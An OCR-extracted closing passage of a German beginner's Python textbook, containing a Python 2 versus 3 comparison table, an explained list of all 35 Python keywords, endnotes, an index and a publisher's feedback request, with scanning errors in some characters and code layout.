Python 2 oder Python 3? Das ist hier die Frage! Diese lasst sich aber ohne
langes Nachdenken eindeutig mit Python 3 beantworten. Warum? Neuere
Bibliotheken werden in der Regel in Python 3 entwickelt und sind nicht
abwartskompatibel. Zudem wurde der Support fir Python 2 am 1. Januar
2020 eingestellt. Es ist aus sicherheitstechnischer Perspektive also absolut
nicht mehr zu empfehlen, Python 2 zu nutzen. Viele Skripte, die in Python 2
geschrieben wurden, lassen sich aber mit einem Tool in Python 3 Code
umwandeln. Wie das geht, erfahrst du in dem folgenden Video:

https://florian-dalwigk.com/python-einsteiger/python2_in_python3


https://florian-dalwigk.com/python-einsteiger/python2_in_python3

15.5 Zusammenfassung

In der folgenden Tabelle sind die Unterschiede und Gemeinsamkeiten von
Python 2 und Python 3 noch einmal in Ubersichtlicher Form dargestellt:

Python 3

Python 2

print ("Hallo Python!™)

print "Hallo Python!"

print ("Hallo", "Python!", 42)

print "Hallo",

42

"Python!",

Exceptions kénnen nur auf eine Art geworfen werden:
raise Exception("Fehler!™)

Exceptions kdnnen auf zwei

verschiedene Arten geworfen werden:
raise Exception, "Fehler!"
raise Exception ("Fehler!"™)

Man kann Exceptions nur auf eine Art fangen:

try:
i=1/0
except Exception as ex:

print (ex)

Das Fangen von Exceptions ist auf zwei
verschiedene syntaktische Arten
moglich:

# Python 2, Variante 1

try:
1/0
except Exception as ex:

i =

print ex

# Python 2, Variante 2

try:
1/0
except Exception as ex:

i =

print ex

Der Aufruf von range liefert keine L.iste, sondern ein
range-0Objekt. Wenn man mithilfe von range eine
Liste erzeugen mdchte, muss man das Ergebnis des
Aufrufs erst in eine Liste umwandeln:

list (range(1l,6)).

Der Aufruf von range liefert keinen
Iterator, sondern eine Liste.
Iteratoren kdnnen mithilfe von
xrange erzeugt werden.

Anstelle von str, wie es in Python 2 verwendet wurde,
wirde man heute bytes oder bytearray als
Datentyp verwenden.

Flir Strings gibt es eigentlich zwei
verschiedene Datentypen, namlich str
und unicode. Mit str kénnen
beliebige Bytefolgen gespeichert




werden, wohingegen unicode nur
Text im Unicode-Format zuldsst.

Es wird standardmaRig die Unicode-Zeichenkodierung
verwendet.

Es wird standardmaRig die ASCII-
Zeichenkodierung verwendet.

Das Ergebnis einer Integer-Division ist grundsatzlich
vom Typ float, unabhangig davon, ob die Division

aufgeht oder nicht. Mochte man als Ergebnis eine
Ganzzahl haben, muss es umgewandelt werden, wie
bspw. int (4/2) . Alternativkann man auch den

doppelten Divisionsoperator // verwenden, der aber
immer den Nachkommateil entfernt.

Als Standard wird die Integer-
Division verwendet, die in Python 3 mit
dem doppelten Divisionsoperator //
umgesetzt wird. Wenn du die
Ergebnisse lieber genauer in Form eines
Floats speichern mochtest, benotigst
du den folgenden Import:

from  future  import
division

Tabelle 15.5.1: Gegeniiberstellung von Python 2 und Python 3

Wenn du dir die Unterschiede zwischen Python 2 und Python 3 noch
einmal im Detail als Video anschauen mochtest, dann scanne den

folgenden QR-Code:

https://florian-dalwigk.com/python-einsteiger/python2_vs_python3



https://florian-dalwigk.com/python-einsteiger/python2_vs_python3

16 Alle Python-Keywords

In diesem Kapitel werden alle Keywords, die es in Python 3.10.5 gibt,
alphabetisch sortiert aufgefihrt und kurz erklart. Was sind Keywords?
Hierbei handelt es sich um reservierte Worter, die nicht als Variablen- oder
Funktionsname genutzt werden konnen. Sie sind die fundamentalen
Bausteine  eines  Python-Programms, mit  denen bestimmte
Funktionalitaten wie bspw. das Einleiten von Schleifen oder die Definition
einer Klasse getriggert werden kénnen.

Du kannst dir alle Keywords in deiner aktuellen Python-Version als Liste
ausgeben lassen. Dazu importierst du dir das Modul keyword und greifst
dort auf die Objektvariable kwlist zu, in der alle Keywords als Liste
gespeichert sind:

1 import keyword
2 print (keyword.kwlist)

Das Ergebnis sieht fur Python 3.10.5 folgendermalien aus:

['False', 'None', 'True', 'and', 'as', 'assert', 'async', 'await',
'break', 'class', 'continue', 'def', 'del', 'elif', 'else',
'except', 'finally', 'for', 'from', 'global', 'if', 'import',
'in', 'is', 'lambda', 'nonlocal', 'not', 'or', 'pass', 'raise',
'return', 'try', 'while', 'with', 'yield']

Wenn du dir die Lange von kwlist ausgeben lasst, dann siehst du, wie
viele Keywords es in deiner Python-Version gibt:

3 print (f"Es gibt {len (keyword.kwlist)} Keywords.")
# Ausgabe: 35

In der folgenden Tabelle findest du fiir alle 35 Keywords eine kurze
Erklarung. Die nicht in diesem Buch verwendeten Keywords sind



unterstrichen:

Keyword Erklarung

False Wabhrheitswert ,falsch” (0) vom Typ Boolean.

None Hierbei handelt es sich um ein ,leeres Objekt”. Dieses wird bspw. innerhalb einer
Funktion oder Methode ,,zuriickgegeben”, wenn es keine return-Anweisung gibt.
None ist das Analogon zu null, nil und undefined in anderen
Programmiersprachen.

True Wabhrheitswert ,wahr“ (1) vom Typ Boolean.

and Operator fir das logische ,,Und"“.

as Hiermit wird ein Alias definiert.

assert Leitet eine Assertion ein. Durch Assertions versucht man, spezielle Annahmen tber
den Zustand des Programms zu verifizieren und sicherzustellen, dass diese
eingehalten werden.

async Wird verwendet, um eine ,,asynchrone Funktion” zu definieren, also eine sogenannte
,Coroutine”.

await Durch await wird ein Punkt innerhalb einer Funktion definiert, an dem die
Kontrolle an die Ereignisschleife von Python zurilickgegeben wird.

break Hiermit kann eine Schleife abgebrochen werden.

class Leitet eine Klasse ein.

continue | Mit continue kann der aktuelle Schleifendurchlauf unterbrochen und der nachste
begonnen werden. Im Gegensatz zu break wird die Schleife nicht komplett
verlassen, sondern nur der aktuelle Schleifendurchlauf beendet.

def Leitet die Definition einer Funktion oder einer Methode ein.

del Hiermit kdnnen Eintrage aus einem Dictionary oder Objekte geléscht werden.

elif Leitet den e1 1 f-Block einer i f-elif-else-Anweisung ein. Direkt dahinter folgt
eine Bedingung.

else Leitet den el se-Block einer i f-e1lse-Anweisung ein.

except Leitet einen except-Block ein, in dem eine aufgetretene Exception behandelt wird.
Dieses Keyword wird in Kombination mit dem Keyword try verwendet.

finally Definiert einen Codeblock, der auf jeden Fall ausgefiihrt wird, egal ob eine Exception
geworfen wird oder nicht.

for Leitet eine for-Schleife ein.

from Wird genutzt, um zu selektieren, was aus einem Modul importiert werden soll.

Dieses Keyword wird in Kombination mit dem Keyword import und (optional) as




verwendet.

global Signalisiert, dass die dahinterstehende Variable eine globale Variable ist.

if Leitet eine i f-Anweisung ein.

import |Wird zum Importieren von Modulen genutzt.

in Hiermit kannin Listen, Tupeln, Sets und Dictionaries nach bestimmten
Eintragen gesucht werden. Als Ergebnis entsteht ein Wahrheitswert.

is Hiermit kdnnen zwei Werte bzw. Objekte auf Identitat Gberprift werden.

lambda Leitet einen Lambda-Ausdruck ein. Dabei handelt es sich um eine Funktion ohne
Namen.

nonlocal [Durch nonlocal kénnen ,nichtlokale Variablen” definiert werden. Dieses Keyword
wird sehr selten verwendet.

not Operator fir das logische ,Nicht”

or Operator fir das logische ,,Oder”.

pass Kann als Anweisung verwendet werden, bei der ,,nichts” passiert.
raise Wird genutzt, um eine Exception zu werfen.

return Hiermit kdnnen innerhalb einer Funktion ein oder mehrere Werte zurilickgegeben
werden.

try Leitet einen try-Block ein, in dem Code ausgefiihrt wird, bei dem eine Exception

geworfen werden kdnnte. Dieses Keyword wird in Kombination mit dem Keyword
except verwendet.

while Leitet eine while-Schleife ein.
with Leitet den Kontextmanager ein.
yield Liefert einen Generator, der der Built-in Funktion next tUbergeben werden kann.

Tabelle 15.5.1: Alle Python-Keywords mit Erklarung

Wenn du alle Python-Keywords noch einmal mit Beispielen in einem Video
erklart bekommen maochtest, dann scanne den folgenden QR-Code:



https://florian-dalwigk.com/python-einsteiger/alle_python_keywords
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8

9

Solche Freiheiten kdnnen aber gerade am Anfang einer langfristig
ausgelegten Programmierkarriere zur einer gewissen ,Faulheit”
flhren, die sich dann spater irgendwann rachen wird. Deshalb setzen
wir uns in Kapitel 4 trotzdem mit Datentypen auseinander.

Facebook, Amazon, Netflix und Google

Nutze Python dort, wo du es kannst und C++ dort, wo du es musst.
30 Frames Per Second, also 30 Bilder pro Sekunde.
https://de.wikipedia.org/wiki/Pip_(Python)

Das Wort ,requirements” bedeutet tbersetzt so viel wie
LAnforderungen”. Damit sind hier die Pakete gemeint, die angefordert
werden miissen, damit ein bestimmtes Python-Programm einwandfrei
funktioniert.

Dawirstatt Hallo Welt! die Nachricht Hallo Python!
ausgeben, wird hier von einem Hallo-Python-Programm gesprochen.

Damit ist ein Klick auf die Tabulator-Taste gemeint.

Random Access Memory

10 Das ergibt eigentlich nur im Kontext eines Beispiels zur

Veranschaulichung der Funktionsweise von Substrings wirklich Sinn ;)

11 Ein sinnvoller Anwendungsfall ware, dass man aus einem Wort einen

Buchstaben durch Subtraktion entfernen konnte, also z. B. "hunde"
— "e" = "hund". Das geht in Python allerdings nicht mit dem

Operator fir die Subtraktion. Es gibt dafiir aber eine Maoglichkeit, die
du in Kapitel 8.1 kennenlernst. Hier ein kleiner Spoiler: "hunde"

[0:-1]7.

12 Man kann den Operator zwar auch auf Floats anwenden, doch im

Programmieralltag wirst du hauptsachlich mit der Integer-Variante
in Bertthrung kommen.


https://de.wikipedia.org/wiki/Pip_(Python
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14

15

16

17

18

19

20

21

22

23

24

25

26

27

Exklusive or

Non Player Character, also ein Spieler, der vom Computer gesteuert
wird.

Der wahre Grund liegt vermutlich irgendwo zwischen effizientem
Arbeiten und Ubersichtlichkeit in der Darstellung.

Du kannst hier auch die einfachen Hochkommata , verwenden, denn
schlieRlich handelt es sich hierbei nur um einen String.

,Matrizen”ist die Mehrzahl von , Matrix"“.

Damit sind die L.i sten gemeint, die wir zuvor besprochen haben,
alsoz.B. [1,2,3].

Wir haben hier wieder bei 0 zu zahlen begonnen.

Es handelt sich nicht um vollwertige Keywords, da man sie auch als
Variablennamen verwenden kann.

Die Mehrzahl von ,,Pokémon” ist eigentlich ,Pokémon” (ghne s). Aus
Grinden der besseren Lesbarkeit des Codes, wird hier bewusst der
falsche” Plural verwendet.

Scham dich.

Meine Kontaktdaten sind im Buch an mehreren Stellen angegeben.
Zogere also nicht, mich anzuschreiben.

Damit ist gemeint, dass man einzelne Eigenschaften der Spielfigur, wie
etwa die Kampfkraft oder die Verteidigungsfdhigkeit, verbessern
kann.

https://de.wikipedia.org/wiki/Tic-Tac-Toe

Ein Bot ist ein Computerprogramm, das bestimmte Aufgaben, z. B. das
Tic-Tac-Toe-Spielen, automatisiert abarbeitet.

Suchanfrage: youtube thumbnail location


https://de.wikipedia.org/wiki/Tic-Tac-Toe
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Bei den Video-IDs auf YouTube kommt die sog. Base64-Kodierung zum
Einsatz.

https://de.statista.com/statistik/daten/studie/1716/umfrage/entwickl
ung-der-weltbevoelkerung/

Z. B. Links, die nicht zu einem YouTube-Video fihren.
https://www.youtube.com/watch?v=0QET3e_VBLk
Was das ist, erfahrst du in Kapitel 13.

https://netzpolitik.org/2020/video-app-tiktok-liest-aus-was-menschen-
auf-dem-iphone-in-die-zwischenablage-kopiert-haben/

Das sind Programme, die mitloggen, welche Tasten gedriickt wurden.

Internet of Things. Damit sind netzwerkfahige Gerate wie
Uberwachungskameras, Webcams oder der beliebte Sprachassistent
von Amazon gemeint.

Hierbei handelt es sich um ein haufig eingesetztes
Verschlisselungsverfahren.

Eine Bitfolge ist eine Folge einzelner Bits, also z. B.
0011101000101001.

https://de.wikipedia.org/wiki/American_Standard_Code_for_Informa
tion_Interchange

Hierbei handelt es sich um einen Zufallszahlengenerator, der nicht
vorhersehbare Zufallszahlen produziert.

Beachte aber, dass wir auch hier nur von echtem Zufall sprechen, weil
wir noch nicht wissen, wie man diese Phdanomene berechnen kann.
Wer weil, was die Quantenphysik noch alles offenbart, doch dafiir bin
ich als Informatiker leider der falsche Ansprechpartner.


https://de.statista.com/statistik/daten/studie/1716/umfrage/entwicklung-der-weltbevoelkerung/
https://www.youtube.com/watch?v=oQET3e_VBLk
https://netzpolitik.org/2020/video-app-tiktok-liest-aus-was-menschen-auf-dem-iphone-in-die-zwischenablage-kopiert-haben/
https://de.wikipedia.org/wiki/American_Standard_Code_for_Information_Interchange
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https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikation
en/Technische Richtlinien/TR02102/BSI-TR-02102.pdf?
__blob=publicationFile&v=2

Hast du das Passwort mit diesem Ansatz knacken konnen? Dann
schicke es mir gerne an python@florian-dalwigk.de. Ich freue mich
auf deine Nachricht!

Das ist die englische Bezeichnung fiir ,Worterliste”,

Es heildt Gbrigens nicht ,,/IBAN-Nummer”. Das ware doppelt gemoppelt,
da das ,N“in ,IBAN“ bereits fur ,Number“ steht. Als Plural von ,,IBAN*“
verwenden wir ebenfalls die Abklirzung ,,IBAN”.

Nicht zu verwechseln mit ,, Dunder Mifflin“.
Gemeint ist hier die Superklasse, von der geerbt wird.

Hierbei handelt es sich lediglich um eine Auswahl von Ausnahmen. Es
fehlt bspw. die FileNotFoundError Exception.

Das ist eine Abklirzung fiir ,message”, also ,, Nachricht”.


https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Technische
mailto:python@florian-dalwigk.de

Index

* args ¥

** kwargs ¥
Abzweigung ¥
Algorithmus *
and ¥
Ausfiihrbarkeit +
Benutzereingabe *
Bibliothek *
bool *
Boolean *
Built-in-Funktion *
continue %
Determiniertheit *
Determinismus
Dictionary #
do-while-Schleife *
Eindeutigkeit *
Endindex *
Endlosschleife *
enumerate *
eval *

except ¥
Exception *
False ¥
Filehandle %
finally #



Finitheit *

float *

Float ¥

for-Schleife *
Funktion *

Gleichheit *

globale Variable *
IdententationError *
Identitat *
if-Anweisung ¥
if-else *
if-else-Anweisung *
Index *

IndexError *
Indizes ¥

input *

int ¥

Integer *
Integer-Division ¥
Iterator *

KeyError *

Klasse *

Kommentare *
Kontextmanager *
Kontrollstrukturen #
len %, % % *#
Liste *

lokale Variable *
magische Methode *
match-case-Anweisung ¥



math *

Matrix +

Matrizen ¥
Methode *
Modulo *
Modulo-Operator *
not ¥

Objekte *
objektorientierte Programmierung +
open %

Operator *
Operatorrangfolge *
or ¥

os ¥

Parameter ¥
pip *

print #
Programm i
random
range ¥

return *

Scope ¥
Set *
Slicing *

Standardbibliothek *
Startindex *

str ¥
String ¥
Substring *

Switch-Case-Anweisung ¥
SyntaxError ¥



sys ¥
Terminierung *
True ¥

try %

Tupel *

type *
Typisierung *
Typumwandlung ¥
ValueError ¥
Variable *
Vererbung *
Walross-Operator #
while-Schleife *
XOR *
ZeroDivisionError *#%



Liebe Leserin, lieber Leser,

hat Ihnen dieses Buch gefallen? Wir freuen uns Gber lhre
Verbesserungsvorschlage, Kritik und Fragen zum Buch.

Die Meinung und Zufriedenheit unserer Leserinnen und Leser ist uns sehr
wichtig.

Kontaktieren Sie uns deshalb gerne und schreiben uns eine E-Mail an
feedback@eulogiaverlag.de

Wir freuen uns auf lhre Nachricht.

Herzlichst

Vo Ealogia Verlags Team
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